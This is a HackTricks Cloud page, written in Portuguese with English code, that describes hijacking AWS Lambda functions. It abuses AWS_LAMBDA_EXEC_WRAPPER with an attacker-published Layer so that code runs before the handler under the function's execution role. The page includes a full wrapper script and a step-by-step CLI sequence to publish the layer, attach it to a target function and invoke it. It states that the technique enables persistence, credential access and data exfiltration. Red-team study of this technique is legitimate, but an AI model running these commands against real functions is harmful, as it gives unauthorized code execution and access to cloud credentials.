AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
Abuse a variável de ambiente AWS_LAMBDA_EXEC_WRAPPER para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper através de uma Lambda Layer em /opt/bin/htwrap, defina AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a role de execução da função e por fim faz exec no runtime real para que o handler original ainda execute normalmente.
warning
Esta técnica concede execução de código na Lambda alvo sem modificar seu código-fonte ou role e sem precisar de iam:PassRole. Você só precisa da capacidade de atualizar a configuração da função e publicar/anexar uma layer.
Permissões Necessárias (atacante)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(or trigger via existing event)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(same account) and optionallylambda:AddLayerVersionPermissionif using a cross-account/public layer
Script do wrapper
Coloque o wrapper em /opt/bin/htwrap na layer. Ele pode executar lógica pré-handler e deve terminar com exec "$@" para encadear ao runtime real.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Etapas do ataque (CLI)
Publicar layer, anexar à função alvo, definir wrapper, invocar
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
Impacto
- Execução de código pré-handler no contexto do runtime do Lambda usando a execution role existente da função.
- Nenhuma alteração no código da função ou na execution role é necessária; funciona em runtimes gerenciados comuns (Python, Node.js, Java, .NET).
- Permite persistence, credential access (por exemplo, STS), data exfiltration e runtime tampering antes do handler ser executado.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud